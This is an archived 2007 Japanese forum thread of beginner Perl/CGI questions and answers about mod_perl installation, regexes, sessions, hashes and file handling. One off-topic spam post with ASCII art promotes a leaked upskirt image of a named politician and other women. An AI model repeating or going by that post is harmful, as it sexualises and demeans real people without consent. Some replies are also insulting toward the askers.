omotiって何か知りませんが、私は地図を読む能力がゼロだとは思いません。
私は自分を過少評価する傾向がありますが、それをゼロだと言ってしまうと、卑下しすぎでしょう。
地図を必要とする理由は、地図を頭に入れてから実践したほうが効率面で有効だと判断したからです。
どういった手段で、先人達は、地図を入手してこられたのでしょう。素朴な疑問。
0434nobodyさん
2007/09/25(火) 23:29:27ID:???>omoti
ぐぐれ。
>地図を読む能力
「読む」のは誰でも出来る、経験に応じたレベルで。
経験を積むと見方が分ってきてより深く地図を読むことが出来るようになる。
>自分を過少評価
何様だ?オマエ。
経験をコードの行数で書くようなドシロウトみたいなマネしといて、
よくもまあ、自分を過大評価出来るもんだ。
0435nobodyさん
2007/09/25(火) 23:38:09ID:???迷惑だから来ないで下さい
0436399
2007/09/25(火) 23:45:43ID:tW7VjElzどうも意志の伝達が正常に行われなかったようです。
自分を過少評価というのは、自分が偉いというのとは逆に、
自分をネガティブに評価する傾向があるという私の一般的性質を指しています。
だから、なぜあなたが怒りを発生させたかについては責任を負いかねます。
それから経験をコードの行数で書くのが実力や経験量を測定する尺度としてあまり妥当な手段でないことは認めるものの
何がしかの尺度にはなるかと思います。
一応情報系なので日常会話で行数について耳にしますので、補足しました。
>>435
アルバイトに来ると迷惑ですか。
私はやる気だけはありますよ。これまでもアルバイトしてましたが、面接でそう言いました。
0437nobodyさん
2007/09/25(火) 23:52:05ID:???PMだけを目指すのならともかく、若いうちはガンガンスクリプトを書いとけ。
出来たものから汎用性のある部分をモジュールとして使えるようにしろ。
モジュールとして使わないまでも、関数なりクラスとして再利用出来るようにストックしとけ。
ロードマップだの何だの言うよりも、とにかくショウモないスクリプトでもいいから書いて書きまくれ。
言われてることが分からないなら、とっとと現実に戻ってクソして寝てみる夢を見つづけろ。
0438nobodyさん
2007/09/26(水) 02:18:47ID:???0439nobodyさん
2007/09/26(水) 02:21:03ID:???それでいてゼビウスのようなゲーム作って大成功する奴もいるんだ
お前みたいに能書きだけで先に進もうとしない奴は何やっても駄目
0440nobodyさん
2007/09/26(水) 02:24:18ID:???とりあえず、会員制のサイトでも作ってみたら?最初はモジュールを
使わず、全てPurePerlで組む。完成しても公開はしない。あくまで、
自分の学習用。機能としては…
・新規登録フォームで必要項目を記述して送信すると
入力されたデータを保存。同時に確認メール発射。
・確認メールの中にURLが記入されていて、そこに
アクセスすると入会登録完了。
・入会登録完了すると完了メールが届いて、そこに
書かれているIDとパスワードでログイン。
ここまで出来れば、Webサイトを作成する上での基本は学べると思う。
その後に、サイトの中でBBSなりユーザ情報設定等を追加していく。
ここまでで、Webサイトを運営する上で解決策が学べると思う。
その後に、同じ物をモジュールを使って作り直す。
ここまでで、モジュールの有難さを学べると思う。
ここまでできて、解らない事があれば、質問してくれ。逆に
それまでは、自分の力で解決してくれ。途中でどうしても
自分の力で解決できなければ、才能が無いので、諦めてくれ。
>>399
いきなり大きなものを一から作ろうとすると挫けるから、自分の思ってる機能に
一番近いものを実装してるCGI探してきて設置。まずはそれを好きなように
改造しまくる。これだけで一通りの流れは掴めると思う。次が>>440かな。
ちなみに個人で始めるWebサービスは99%赤字になるから、金が欲しいなら
素直に今できるバイトで稼げ。
0442nobodyさん
2007/09/27(木) 22:26:20ID:???0443nobodyさん
2007/09/28(金) 09:09:43ID:???うざったいことこの上ない。
0444nobodyさん
2007/09/28(金) 20:52:36ID:???全部同一人物かw
0445437
2007/09/29(土) 00:32:05ID:???プログラミングなんて習うよりも作れだというのに。
0446nobodyさん
2007/09/29(土) 01:20:03ID:???ってか実はいつもいるのか?
0447nobodyさん
2007/09/29(土) 01:25:07ID:???0448nobodyさん
2007/09/29(土) 13:45:18ID:???0449nobodyさん
2007/10/04(木) 08:24:35ID:???if ($vote_terminal == 0){$voteflag = 1;}
else{
$a1 = $ENV{'HTTP_USER_AGENT'};
if (($a1 =~ /^DoCoMo\//)||($a1 =~ /^ SoftBank\//) ||($a1 =~ /^UP\.Browser/)){
if ($vote_terminal == 1){$voteflag = 0;}else{$voteflag = 1;}
}
elsif ($vote_terminal == 1){$voteflag = 1;}else{$voteflag = 0;}
}
HTTP_USER_AGENTの部分をREMOTE_ADDRにしたいのですが
携帯電話会社のIPアドレスをどう追加してやれば良いのでしょうか?
携帯電話のIPアドレスリスト
http://ja.wikipedia.org/wiki/%E5%88%A9%E7%94%A8%E8%80%85:Tietew/%E6%90%BA%E5%B8%AF%E9%9B%BB%E8%A9%B1%E3%81%AEIP%E3%82%A2%E3%83%89%E3%83%AC%E3%82%B9%E3%83%AA%E3%82%B9%E3%83%88
0450nobodyさん
2007/10/04(木) 09:06:18ID:???IPアドレスで判定する部分そのものを新たに追加するってんならわかるが。
0451449
2007/10/04(木) 13:54:49ID:wlik/mVjそうなんですか
尚更手に追えそうもないです;
失礼しました
0452nobodyさん
2007/10/06(土) 23:30:58ID:???目的は一度、デコード&整形した後でデコードだけの整形していないデータを取り出すこと。
seek STDIN 0, 0;は既に試しました。
0453nobodyさん
2007/10/06(土) 23:35:10ID:???0455nobodyさん
2007/10/07(日) 00:05:53ID:???やっぱり、その方法が手っ取り早いですか?
考えてはみたけど、それなら結局は最初から変数に読み込んで後で使う方がいい気も…
んー、キーボード入力じゃなくてPOSTデータだから取り出せるものと思ってました。
一生手を入れないでマージンまでやってくれるクラスを作ろうと思ってまして。
0457nobodyさん
2007/10/21(日) 09:54:12ID:xMq+XN4pできなかったこと:ActivePerlへのppmを通じたインストールがうまくいきませんでした。
やったこと:ActivePerl5.8.8上でmod_perl2をインストールしようとし、
ppm> rep
Repositories:
[1] theoryx5.uwinnipeg.ca
...
[7] Autonamed 2
ppm> search mod_perl
Using cached search result set 1.
1. Apache-mod_perl_gui~ [1.31] mod_perl Guide
2. mod_perl [2.0.3] Embed a Perl interpreter in the Apache/2.2~
3. mod_perl [1.29_01~ Embed a Perl interpreter in the Apache/1.3~
....
ppm> install 2
Package 2:
====================
Install 'mod_perl' version 2.0.3 in ActivePerl 5.8.8.817.
====================
Downloaded 2886493 bytes.
Extracting 737/737: blib
Error: can't run 'C:\Perl\bin\perl.exe install_script': No such file
or directory
となったので、「"install_script" ActivePerl」でググってみたりしたのですが、
どこに問題があるのか特定できませんでした。
次のアクションをご教示ください。よろしくお願いいたします。
0459457
2007/10/21(日) 11:18:08ID:xMq+XN4p入ってます。
0460nobodyさん
2007/10/21(日) 11:19:32ID:???ん?うちでは問題なくinstallできるべ。
>>458が言ってるみたいに、
Apache2.2じゃなくて、Apache2.0にmod_perl入れたかったら、ppm install mod_perl2.0 ってしなきゃだめよ。
ちなみにひとつ言っとくが、Win版の2.0.61,2.2.6では両方とも、theory58Sのmod_perlは正常に動作しないべ。
あと、install_scriptってのはこれのこと
http://theoryx5.uwinnipeg.ca/ppms/scripts/install_modperl
0461nobodyさん
2007/10/21(日) 11:32:16ID:???で、もっかい、今度は、(threory58Sはreposにいれてるんだよな?)
ppm install mod_perl ってやってみ。
0462nobodyさん
2007/10/21(日) 11:43:40ID:???0463どうしてパンチラが流出?
2007/10/21(日) 14:04:29ID:???/´_ `ヽ、 ,ィ''´ ̄ハ、i,/lヽ、 l!
,ィ´/'´/::/:::ラ./ / /!イソ !i .ハ /
/゙ ! ' ::´:::::::|:// / ,イ /!"゙ヾ|リ i メ
! | :: ::::::ri/| |:::i|ハ i.|| i,/|! _//!:::|::::|
| :: .::イリノハ ::!lィl丙`|/ |、 _ハ/::/:::;/
i ; ::::レl/ !,ヾ、! ゙'゚┘ 尤i'/,' / 20万人くらいが見ちゃったパンチラ!?
/ !..:::::l/ ::::アi. 、 , ゙‐'ソ'"'´ 元女子アナウンサー丸川珠代さん(白パンティー)
ト、_// :::|:::::/ ::::://^ヽ、 ~ ,.ィi′ http://ex21.2ch.net/test/read.cgi/ana/1191988450/9
`ー'ナ/.:/::::/ ::::/´! ヾ "´l:::l|
i / .:|:::/ :::;ィ/ |! ヽ:::!:riト、_, 日本人でよかった♪ 白でよかたーーー!
!| /:|/ .//! ,!| ヽ ヾ、,リ この番組で有名となった参議院議員(東京)のまるたまさん
| | //:::/:::! ! \. \ ヽ\ http://love6.2ch.net/test/read.cgi/furin/1148694809/174
ヾ// ::::/:::::|ノ _二;ヽ ゙、 ,}
オ′:::i :::::::|/ ̄ \ ヾー-、 たけしさんとツーショットのまるちゃんに注目!(白パンティー)
/ | :: ::|::::::::::! ハ iヽ i でも、小泉チルドレン筆頭の
i | ::|:::::::::リ ,イバー‐'′! ヽ 佐藤ゆかりタン萌えパンチラは無いよーーーーーーん
! |i : :|:::::ノ i /ハ | / | \
ヾ _,, !<_. { ///" ヽ
_,. ‐''";;;;;;;,:'";;;;;/ ゙̄T''''r-レ \ _ i
ヾ"、_;;;;_,;:'";;;;;;;;;;/;;;;;;;;;i;;;;;l;;;;;| }=ニl!;;ト、 /
ヾ;;;;;;/`''ー--ヶ、;;;;;;シ;;;;;;|;;;;;;! ぐー`"ヽ!
ヾi' / ヾ、;;;;;;;/;;;;;;;| 〈´  ̄~゙'''┘
;ヘ , i ゙\;;;;;;;;;ハェュj パンチラ規制厨と闘ってます
! `ヽ、'_,{_ ゙\;;;;;| http://qb5.2ch.net/test/read.cgi/sec2chd/1192266095/639
0464457
2007/10/21(日) 15:13:46ID:xMq+XN4pやはり無理でした。
>>462
再確認しましたがapache2.2です。
--------------------------------------------
やむを得ず、「何かカオスな理由でトラブルが起きた」ということにして、
ActivePerlのリインストールという強硬手段に出ました。
その結果、無事インストールできました。
結局、問題の原因はミステリーのままに。^^;
アドバイスくださった方、ありがとうございました。
0465nu.
2007/10/21(日) 15:30:36ID:hpzcI35POceanGrid形式の動画を録画するにはどうしたらいいですか?
また録画出来るものなのでしょうか…?
よろしくお願い致します。
046610い
2007/10/21(日) 19:05:50ID:???if( $ENV{'HTTP_USER_AGENT'} =~/bot|twiceler/){&zap;}
上みたいなのがあったとして、 USER_AGETNに、bot かtwiceler があると。
って感じなのですが、これですと例えば、Googlebotが来ると一致してしまいます。
bot以外の Googlebot や 1bot、 bots などに合致させない方法はありますか?
ifからの文はなるべく変えない方法を教えてください。
できれば、=~// この中の範囲内の変更でできないでしょうか。よろしくお願いします
0467nobodyさん
2007/10/21(日) 19:16:00ID:???これを条件に加えるのがわかりやすくないかな
046810い
2007/10/21(日) 19:37:52ID:???467さんが書かれたのは、botに一致しないのでしょうか?
test下のですが and にエラーがでてしまい結果がでません
Premature end of script header
s: /home/oo/public_html/index.cgi
syntax error at /home/oo/public_html/index.cgi line 462, near "and"
Execution of /home/oo/public_html/index.cgi aborted due to compilation errors.
前後の流れは
if( $ENV{'HTTP_USER_AGENT'} =~/bot|twiceler/){&zap;}
else{&zap2;exit;}
のifからの部分を
and $ENV{'HTTP_USER_AGENT'}!~/Googlebot|1bot|bots/){&zap;}のように変えてエラーです
0469nobodyさん
2007/10/21(日) 19:43:45ID:???047010い
2007/10/21(日) 19:51:36ID:???syntax error at /home/oo/public_html/index.cgi line 462, near "=> &&"
です
$perl -version
This is perl, version 5.005_03 built for i386-freebsd
apache はApache/1.3.39 です
パールを最新にしてみます
0471nobodyさん
2007/10/21(日) 19:58:24ID:???$ENV{'HTTP_USER_AGENT'}!~/Googlebot|1bot|bots/){&zap;}
エラー出ないよ
047210い
2007/10/21(日) 20:18:23ID:???取り急ぎ
andから書いてました
perlのアップグレードを始めてしまってなかなか終わらないので
終わったら試して確認してみます
047310い
2007/10/21(日) 21:22:35ID:???perlのバージョンじゃなくて書き方が違っていたようです
!~/hoge/ の意味を教えてください
0474nobodyさん
2007/10/21(日) 21:58:00ID:???0476nobodyさん
2007/10/23(火) 20:50:38ID:???0477nobodyさん
2007/10/23(火) 21:36:17ID:???0478nobodyさん
2007/10/23(火) 21:54:51ID:???すいません、
sub write {
my $name = $_[0], $data = null;
if ( $_[1]が配列かどうかを確認したい ) { $data = join( "\n", $_[1] ) }
else { $data = $_[1] }
open( OUT, ">$name" ) || return 1;
print OUT $data;
close( OUT );
return 0;
}
のようにして、ifのところで、$_[1]が配列かどうかを確認したいのですが・・・・・
wantarrayの使い方がいまいち理解できませんでした。
このような場合は、どのようにすればよいのでしょうか
0479nobodyさん
2007/10/23(火) 23:15:24ID:???「$_[1] が配列」ってPerlの言語仕様上ありえないわけだが?
$_[1]が配列のリファレンスか否かってんであれば、
if ( ref $_[1] eq 'ARRAY' ){ }
まあ、ソースを拝見した所、おそらく
&write( 'name', @data ) ;
あたりで呼ぶんだろから、
my $name = shift @_ ;
my $data = undef ;
if ( @_ >= 1 ){ $data = join( "\n", @_ ) ;}
でいいんじゃね?
余分なことだが、
1. write は perl ですでに使われてるので他の名前にした方がいい。
2. 、、、、まあいいや。
0480nobodyさん
2007/10/24(水) 13:14:01ID:nBn+cskBttp://yoshihi6.com/perl/?q=http%3A%2F%2Fja.wikipedia.org%2Fwiki%2FPerl
0482nobodyさん
2007/10/25(木) 17:20:59ID:ZciT02o+@org[0..2]のリファレンスを作るとして、
イメージは$ref = \@org[0..2];みたいなことなんですが・・・
0483nobodyさん
2007/10/25(木) 18:16:27ID:???0485nobodyさん
2007/10/26(金) 10:43:23ID:HBlkZ3uQ検索結果の一覧画面Aで、リンク文字列からは検索結果をCSVファイルに出力しようとしてます。
HTMLタグで、リンク先にURL引数として動的に実行時の回数を渡します。
↓----
<a href="data.cgi?num=(実行時の回数)>CSVデータ出力</a>
----
そして、実行回数とSQLをセッション変数に保存します。
↓----
# 一覧画面Aの実行回数を更新
my $numListA = $session->param('numListA');
++$numListA;
$session->param("numListA", $numListA);
# 一覧画面のN回目の実行時のSQLを保存
$session->param('ListAsql', $sql);
----
現状は上記のようにしてますが、これはまだ単一のSQLしか格納できない状態です。
これを配列でN番目の要素にSQLをを格納したいと考えてます。
0486nobodyさん
2007/10/26(金) 13:37:59ID:???CGI-Sessionではたしか配列はリファレンス渡しだったと思う。
最初に↓こう準備しておいて
$arrayref = []; #初期化式
$session->('sql', $arrayref); #セッションに格納
その都度
$$arrayref[0] = $sql;
$$arrayref[1] = $sql;
$$arrayref[n] = $sql;
でいけるかも?
0487nobodyさん
2007/10/26(金) 17:05:53ID:1fUnrvio#!C:/Perl/bin/perl
require "cgi-lib.pl";
&ReadParse(*input);
@list={$input{'a'},$input{'b'},$input{'c'}}
$result=0;
foreach $value (@list) {
if($value == 0){$result++;}
elsif($value == 1){$result=$result+2;}
else{$result=$result+3;}
}
if($result<=1){$message = "文章1";}
elsif(($result>=2)&&($result<=4)){$message = "文章2";}
else{$message = "文章3";}
inputにはラジオボタンから0〜2の値が送られてくるように設定してあります。
messageが結果として表示されるようにしてあるんですが何度やってもエラーがでてしまいます。
どこが間違ってるのでしょうか?
0488nobodyさん
2007/10/26(金) 18:26:02ID:???0489nobodyさん
2007/11/01(木) 10:55:03ID:yhsG2JfPhtml..plの中でinfo.plを使いたいのですがどうしたら良いのでしょうか。
下のような感じではうまくいきませんでした。
==index.cgi==
#!/usr/bin/perl
require "./html.pl";
&html::header();
==html.pl==
Package html;
require "./info.pl";
sub header(){
print $header;
}
1;
==info.pl==
$header="Content-type:text/html¥n¥n";
0490nobodyさん
2007/11/01(木) 11:10:49ID:???PackageのPを小文字にすればいいと思うよ
0491nobodyさん
2007/11/01(木) 11:19:21ID:yhsG2JfPpackageのpは実際のソースのほうは小文字になってました。
投稿ミスorz
あとinfo.plの1;も投稿時の書き忘れです。
構造??
0492489
2007/11/01(木) 12:16:29ID:???print $header;を
print $main::header;
にしたところ、Content-type:text/html¥n¥nが出力されました。
0493nobodyさん
2007/11/01(木) 19:49:10ID:???index.cgiで出力の制御
html.plでHTML文書の構造制御
info.plでHTML文書の内容を制御
にした方が構造的には綺麗にまとまるとオモ。
0494nobodyさん
2007/11/03(土) 04:03:09ID:0ypwQ9jZ0495nobodyさん
2007/11/03(土) 04:35:48ID:???0497nobodyさん
2007/11/08(木) 09:06:26ID:???1週間前にcgiを知りましてなんとか1語ではできるようになったのですが・・・
ヒントでは理解できそうもないのでずばり回答でお願いします。
# 禁止メールアドレスチェック
if ($in{'email'} =~ /yahoo/) {
&error("フリーメールはダメ");
}
0498nobodyさん
2007/11/08(木) 12:50:47ID:???0500nobodyさん
2007/11/20(火) 17:27:42ID:???Perl 5.8.2 CGI::Lite 2.02 を使って、うpローダを作ったんです。
ttp://digit.que.ne.jp/work/index.cgi?Perl%E3%83%A2%E3%82%B8%E3%83%A5%E3%83%BC%E3%83%AB%2FCGI%3A%3ALite#i2
を参考にバイナリ対応パッチは行いました。
Windowsだとうまく動いています。MacOSXからだと、0Dが0Aに化けます。
パッチが足りてない部分があるのでしょうか?
どこをなおせばうまく行きそうですか?
0501500
2007/11/20(火) 18:07:03ID:???・Mac OSX 10.4.11 (不明)の FireFox 2.0.0.9 からアップでデータ化け発生。(別の場所)
・Mac OSX 10.4.10 (Intel)の FireFox 2.0.0.9 からアップでデータ化けなし。(漏れ)
現在の状況:検証のために漏れのMacOSXを10.4.11へアップデータン中。
もしかすると、Perl側が原因じゃないかもしれないんで、Mac板でも情報集めして見ます。
0502nobodyさん
2007/11/20(火) 18:57:03ID:???0503nobodyさん
2007/11/20(火) 19:45:06ID:???ttp://digit.que.ne.jp/work/index.cgi?Perl%E3%83%A2%E3%82%B8%E3%83%A5%E3%83%BC%E3%83%AB%2FCGI%3A%3ALite#i13
CGI::LiteとCGI_Lite
CGI::LiteモジュールはCGI_Liteモジュールの後継になります。 CGI::Lite v2.0とCGI_Lite v1.9の違いは(ソースレベルで見ても)以下の3点だけです。
* パッケージ名
* バージョン番号
* ドキュメント内での記述(パッケージ名、バージョン、更新日付)
CGI_Liteに関する情報は、99%までそのままCGI::Liteにも適用できます。なお、CGI::Lite 2.02版からは少しずつ修正が加わり始めています。
0504nobodyさん
2007/11/20(火) 21:37:27ID:???0505nobodyさん
2007/11/27(火) 00:40:39ID:???ログにOut of memory!ってでたんですけどどうすれば直りますか?
0506nobodyさん
2007/11/27(火) 08:35:46ID:???0507505
2007/11/27(火) 13:35:14ID:???ttp://park1.wakwak.com/~aa1/wwwolf/
鯖スペック
CPU:Pentium-M 1.4GHz
メモリ:768MB
HDD:80GB
0508nobodyさん
2007/11/27(火) 14:09:42ID:???現在2つのテーブルデータがありまして,
片方がID付きの参照テーブルになってまして,片方がログデータになってます.
ログデータを読み込んで,参照テーブルのいくつかのカラムを比較し,同一の
データを持つもつデータの参照IDを投げるという処理を行ってます.
現在ログデータを1行ごとに取り出し,その一回一回に参照テーブルを一致させるまでループして比較するという処理を行ってますが,
データの量もあり時間がかかりすぎて仕方ありません.何か良い方法はないでしょうか
イメージとしては以下の通りです.
この例ではログテーブルの2番目,3番目,4番目の文字を,参照テーブルの2番目,3番目,4番目と比較し
一致したら,参照テーブルの1番目のIDを出力してあげるといった形です.
ログテーブル
1107,A,B,C
1108,C,A,D
1109,A,C,B
1110,A,B,C
参照テーブル
1,A,B,C
2,A,C,B
3,C,A,D
出力データ
1107,1
1108,3
1109,2
1110,1
0509nobodyさん
2007/11/27(火) 17:03:00ID:???my $log = <<'EOF' ;
1107,A,B,C
1108,C,A,D
1109,A,C,B
1110,A,B,C
EOF
my %table = reverse map{ split /,/, $_,2 } split /\n/, <<'EOF' ;
1,A,B,C
2,A,C,B
3,C,A,D
EOF
printf "%s\n", join ',', map{ $table{$_} || $_ } split /,/, $_, 2 for split /\n/, $log ;
文字通り参照テーブルをテーブルにするだけだよ。
>>507
人狼の掲示板で聞くのがスジだ。
インストールし忘れ(jcode.plなんか)とかチェックポイントが多すぎて答える気にもならん。
0510508
2007/11/27(火) 20:31:16ID:???有難うございました.
実際やってみまして上の例ではちゃんと出力できたことは確認しました。
しかし%tableの意味するところが勉強不足でちょっと分かりませんでした。
変数等をいじったりしてみたのですが
お恥ずかしいところですが、具体的にどのような処理を行っているのか教えて頂けると
幸いです。
0511nobodyさん
2007/11/28(水) 00:13:10ID:???「改行区切りのデータをsplit して無名配列に入れ(split...)
その要素を最初の,だけで区切って更に無名配列として返し(map{})
結果として必ず偶数個となっている配列をhashと見なしreverse(reverse)
それを%tableと云うhashに収納。」
printf~~の行。
「$logを改行にてsplitして無名配列に入れ(forの後のsplit...)
それをfor修飾子にてループ(for)。
その各要素を最初の,だけで区切って無名配列に入れ(forの前のsplit...)
その無名配列の要素をkeyとして
テーブルにデータがあればテーブルのデータを返し、
なけれはそのまま要素を返す(map{})##
で,でjoinして(join...)
printf で整形してprint out(printf)」
## は真面目に $_[1] だけ table見に行かすべきなんだけど
メンドかったから、、、
EOF云々は「ヒアドキュメント」
まずは本でhashを覚えるんだ。
0512nobodyさん
2007/11/28(水) 00:29:11ID:???スタンダードな書き方で書くべきでした。
my $table = <<'EOF' ;
1,A,B,C
2,A,C,B
3,C,A,D
EOF
my %table ;
foreach my $line ( split /\n/, $table ){
my @dat = split /,/, $line, 2 ;
$table{$dat[1]} = $dat[0] ;
}
foreach my $line ( split /\n/, $log ){
my @dat = split /,/, $line, 2 ;
print $dat[0] . ',' . $table{$dat[1]} . "\n" ;
}
0513509
2007/11/28(水) 11:28:52ID:???この例では,一致させる列が順番になってますが,現在扱っているデータでは
順番にはなっていないのですが,整列してから処理したほうが良いですかねぇ?
わざわざ有難うございます.
助かりました.
0514509
2007/11/28(水) 13:38:32ID:???$tableないし$logデータは別ファイルに保存されているので,ファイルから
読み出しを行ったので,配列として読み出したのですがこの場合処理は
どうなるのでしょうか.
0515nobodyさん
2007/11/28(水) 13:58:53ID:???ヒント貰ってるんだからforeachとsplit辺りから検索できるだろうし。
0516509
2007/11/28(水) 14:21:28ID:???0517465
2007/11/28(水) 23:46:53ID:JbJxNee4invalid Drive:G
ってなってインストールできナス
orz
助けて下さい
0518nobodyさん
2007/11/29(木) 13:33:09ID:???0519超初心者
2007/11/30(金) 10:10:18ID:Hc83DxRo広告管理CGI ver1.3
http://hpcgi2.nifty.com/hary/soft/myfile.cgi?num=25
これを使ったんですが、文字化けで悩んでいます。
ホームページビルダーShift_JISで使っている場合は問題ないですが、
ワードプレス(UTF-8)やロリポブログ(EUC)だと文字化けしちゃいます。
いろいろと試してみたのですが、まったく駄目です。
すいませんが、どこを直せばいいのでしょうか?
よろしくお願いします。
0521超初心者
2007/11/30(金) 13:03:46ID:Hc83DxRoこの掲示板2006/8で終わっているようでらちが明かないので質問しています。
すいませんが、どなたか手助けお願いします。
0522nobodyさん
2007/11/30(金) 13:30:01ID:???CGI設置について質問【Part3】
http://pc11.2ch.net/test/read.cgi/php/1176143582/
0523nobodyさん
2007/11/30(金) 15:31:46ID:8pPZwPu7CGIゲームの改造(TOWN)をしている者です。
独自タグを導入しようと思っています。
#タグ処理
$in{'a_com'} =~ s/\[i\](.+?)\[\/i\]/<em>$1<\/em>/gi;
$in{'a_com'} =~ s/\[b\](.+?)\[\/b\]/<strong>$1<\/strong>/gi;
$in{'a_com'} =~ s/\[u\](.+?)\[\/u\]/<u>$1<\/u>/gi;
$in{'a_com'} =~ s/\[pre\](.+?)\[\/pre\]/<pre>$1<\/pre>/gi;
$in{'a_com'} =~ s/\[s([1-7])\](.+?)\[\/s\]/<font size="$1">$2<\/font>/gi;
$in{'a_com'} =~ s/\[c=(\S+)\](.+?)\[\/c\]/<font color="$1">$2<\/font>/gi;
$in{'a_com'} =~ s/</</g;
$in{'a_com'} =~ s/>/>/g;
$in{'a_com'} =~ s/([^=^\"]|^)(https?\:[\w\.\~\-\/\?\&\+\=\:\@\%\;\#\%]+)/$1<a href=\"$2\" target=\"_blank\">$2<\/a>/g;
$in_a_com = $in{'a_com'};#koko2006/11/07
このような感じにしたのですが、独自タグを記述してもタグのままでてしまいます。
独自タグを入力すると、変換はされるのですが、結果が表示されません。
このような場合どのようにすれば良いでしょうか?
宜しくお願いします。
0524nobodyさん
2007/12/01(土) 04:28:25ID:p/Twqk8/独自タグ処理の後に<と>に変換してるからじゃない?
0525nobodyさん
2007/12/01(土) 04:29:21ID:p/Twqk8/<>な
0526nobodyさん
2007/12/03(月) 02:01:35ID:J4A8iRzGそのときの一覧で、頭に5.8.8とかの数字がついているのがあって、
その意味がわかりません。
例えば
5.8.8::XML::XPath
というのが一覧に載っていたのですが、そのほかに
XML::XPath
というのも載っています。
これら二つはどう違うのですか?
0527nobodyさん
2007/12/03(月) 09:47:05ID:???アルゴリズムが腐ってんだろうよ。
0528nobodyさん
2007/12/06(木) 00:17:44ID:HgYNR+TBと言うのも、プレースホルダ使ってからクエリ実行する場合、動的なデータに対して「?」をセットしますよね。
このまま自分で記録しようとしても、「?」のまま記録してしまうし
かといってDBI->traceを使うと、余計な情報ばかり出力されます。
皆さんはどのようにデバッグしていますか?
0529nobodyさん
2007/12/06(木) 01:32:40ID:NHCKs2bj自分なりに考えた方法では
open(FILE,"+>./log.dat");
while(<FILE>){
@LOG=$_;
}
$LOG[0]=~/(hoge)(hoge)/;
shift @LOG;
unshift @LOG,"hoge3$2";
print FILE @LOG;
上記では、whileの中で一行目以降の行も配列に格納している点が、初心者の私には無駄に感じてしまいます。
もしこれより簡潔で、サーバーへの負荷も少なくてすむ方法をご存知の方がいらっしゃいましたら、ご教授ください。
0530nobodyさん
2007/12/06(木) 05:14:19ID:???Perlではないけれども、自鯖環境なら、my.cnfに
log=/var/log/・・・ てな感じで記録すれば全てのクエリのlogが取れる。
レン鯖環境でも、デバッグ目的なら、自前のPCで同じことをすればよい。
(UnixだろうとWinだろうと、mysqlのversionが同じなら、クエリレベルでは全くの互換)
>>529
open(FILE,"<./log.dat");
open(OUT,">./logout.dat);
$row = <FILE>;
$row = うんたらかんたら・・・
print OUT $row;
while(<FILE>){ print OUT $_; }
close(FILE);
close(OUT);
オレならこうするかな。
既存ファイルの”ケツ”に足すのなら、">>file.name"で簡単だけど、頭だけを変更したいとなったら、
ファイルの内容を一旦全て読み込まないといけなかったんではなかったかな。
(変更前と変更後の一行のバイト数が同じになるとは限らないから。)
この後でRenameするなどしたらよし。
(自分の場合は、どんな時でも、基本的に変更前のbackupをとって置く性質なんで、確実に不要とわかってから元を消すようにしてる。)
もうひとつゆうと、ウチの環境では、
@log = <FILE>; とするよりも、 while(<FILE>){ push(@log,$_) } とか、 $log = join('',<FILE>);とかするほうが、
圧倒的に早い(WinXp + ActivePerl-5.8.8で、1.5倍〜2倍くらい早い。よその環境は知らない。)
0532nobodyさん
2007/12/06(木) 05:34:31ID:???ああごめん。
mysql限定とは書いてなかったね。
でも多分、ほとんどのDBには、DB側にクエリのlogを保存する機能がついてるはず。
なにも全てPerl側でやる必要はないと思う。
0533nobodyさん
2007/12/06(木) 07:57:56ID:???簡潔って「一点のみ」で、
use Tie::File ;
tie my @array, 'Tie::File', 'hoge.txt' or die ;
$array[0] =~ s/foo/bar/ ;
untie @array ;
以下は横レスFYI:
>>530氏は、「ウチの環境では」ときちんと断わってはいるが、一応他の環境での
ベンチマーク結果だ。シビアに考えるなら常に自分の環境で、use Benchmark で
テストする事をお勧めする。
(けど、普通の環境ならシビアにテストしなくてもいいんじゃね?)
This is perl, v5.8.6 built for darwin-thread-multi-2level
@OSX 10.4.11, G4 500MHz メモリ1G
一行50文字の2万行のデータ hoge.txt にて
% cat hoge.pl
use Benchmark ;
sub __handle{ open IN, q{hoge.txt} ; push @arr, <IN> ; close IN ; }
sub __array { open IN, q{hoge.txt} ; while( <IN> ){ push @arr, $_ ; } close IN ; }
sub __join { open IN, q{hoge.txt} ; $dat = join '', <IN> ; close IN ; }
timethese ( 50, { op1 => '__handle', op2 => '__array', op3 => '__join' } ) ;
% perl hoge.pl
Benchmark: timing 50 iterations of op1, op2, op3...
op1: 7 wallclock secs ( 6.31 usr + 0.59 sys = 6.90 CPU) @ 7.25/s (n=50)
op2: 8 wallclock secs ( 7.11 usr + 0.59 sys = 7.70 CPU) @ 6.49/s (n=50)
op3: 8 wallclock secs ( 6.12 usr + 0.60 sys = 6.72 CPU) @ 7.44/s (n=50)
0534529
2007/12/06(木) 12:01:39ID:I3qzGVswご親切にありがとうございます。参考になります。
全部読み込む必要があるのですね。
>本当に $log[0] に一行目が入っているかい?
ご指摘の通り、入っておりませんでした。
@LOG=$_; の部分を
push @LOG,$_;
としましたが、それでも$log[0]に一行目が入っていませんでした。
試しに、
open(FILE,"+>./log.dat");
の部分を
open(FILE,"<./log.dat");
としたところ、ようやく$log[0]に一行目が入りました。
いまいち『+>』の意味がつかめません。自分が持っているperlの本を何冊か見ると、
『+>』は入出力共用(上書きモード)とあるのですが、それは『<』と『>』を同時にやったことにはならないのでしょうか。
例えば、
『open(FILE,"+>./log.dat");』
というのは
『open(FILE,"<./log.dat");
open(FILE,">./log.dat");
』
ってことではないのですよね(動作をみると)。よくわかりません。。。
0535529
2007/12/06(木) 12:02:24ID:I3qzGVswありがとうございます。そういう風にテストするんですね。
(自分の勉強不足でした。)
かゆいところに手が届いた感じです。感謝してマス。
早速調べて使ってみます。
0536530
2007/12/06(木) 14:42:15ID:???わざわざ補足いただいて恐縮なんだけど、少しご意見を・・・。
自分は、あまり use Benchmark を信用せずに、 use Time::HiRes でベンチ取るようにしてる。
どうも use Benchmark は、実際の動作時間に即してないような気がするので。
具体的にゆうと、>>530や>>533の場合だと、ファイルIOについての待ち時間がカウントされてないように思う。
確かにPerl内部だけで動作が完結するコードについては、しっかりと時間を計測してくれてるようだけど、
例えば外部ファイル読み書きや、他のプロセスをロードしたりするための時間はカウントしてくれないみたい。
詳しくソースとかを追ったわけではないけれど、以下簡単な実証コード
use Time::HiRes qw(time);
use Benchmark qw(timethese);
$n = 100;
sub cgi_1 { system( q(perl -MCGI -e "") ); }
sub cgi_2 { system( q(perl -MCGI::Lite -e "") ); }
timethese($n,{ u_CGI => 'cgi_1', u_CGIL => 'cgi_2'});
$st1 = time();
for(1..$n){ &cgi_1(); }
$lt1 = time() - $st1;
$st2 = time();
